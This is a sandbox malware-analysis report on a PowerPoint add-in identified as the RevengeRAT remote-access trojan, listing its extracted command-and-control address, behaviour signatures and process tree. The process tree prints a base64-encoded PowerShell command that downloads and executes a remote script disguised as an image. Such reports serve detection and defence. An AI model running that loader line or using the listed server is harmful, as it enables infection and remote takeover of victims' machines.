Analysis
- max time kernel
138s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
27/08/2024, 15:16
General
- Target OmnibeesReservas_2022067095.ppam
- Size 27KB
- Sample240827-sngkmaxbkh
- SHA256 ac0f1be789f3f35ce6e6482c574f29bdaa51b67fb5dd868688cbc070a5128bac
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
18.228.165.84:3333
-
788bf014999d4ae8929
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\OmnibeesReservas_2022067095.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_0ly22gxw.toq.ps1
memory/8-93-0x0000000005D80000-0x0000000006324000-memory.dmp
memory/8-90-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4280-58-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-60-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-1-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-0-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-8-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-9-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-7-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-11-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-10-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-12-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-13-0x00007FF965280000-0x00007FF965290000-memory.dmp
memory/4280-15-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-14-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-16-0x00007FF965280000-0x00007FF965290000-memory.dmp
memory/4280-23-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-26-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-47-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-46-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-48-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-3-0x00007FF9A774D000-0x00007FF9A774E000-memory.dmp
memory/4280-6-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-64-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-59-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-5-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-106-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-104-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-105-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-103-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-102-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-96-0x00007FF9A76B0000-0x00007FF9A78A5000-memory.dmp
memory/4280-4-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4280-2-0x00007FF967730000-0x00007FF967740000-memory.dmp
memory/4864-78-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-79-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-81-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-83-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-85-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-88-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-89-0x0000013FC76C0000-0x0000013FC76D8000-memory.dmp
memory/4864-77-0x0000013FC76C0000-0x0000013FC76E0000-memory.dmp
memory/4864-76-0x0000013FC7310000-0x0000013FC7332000-memory.dmp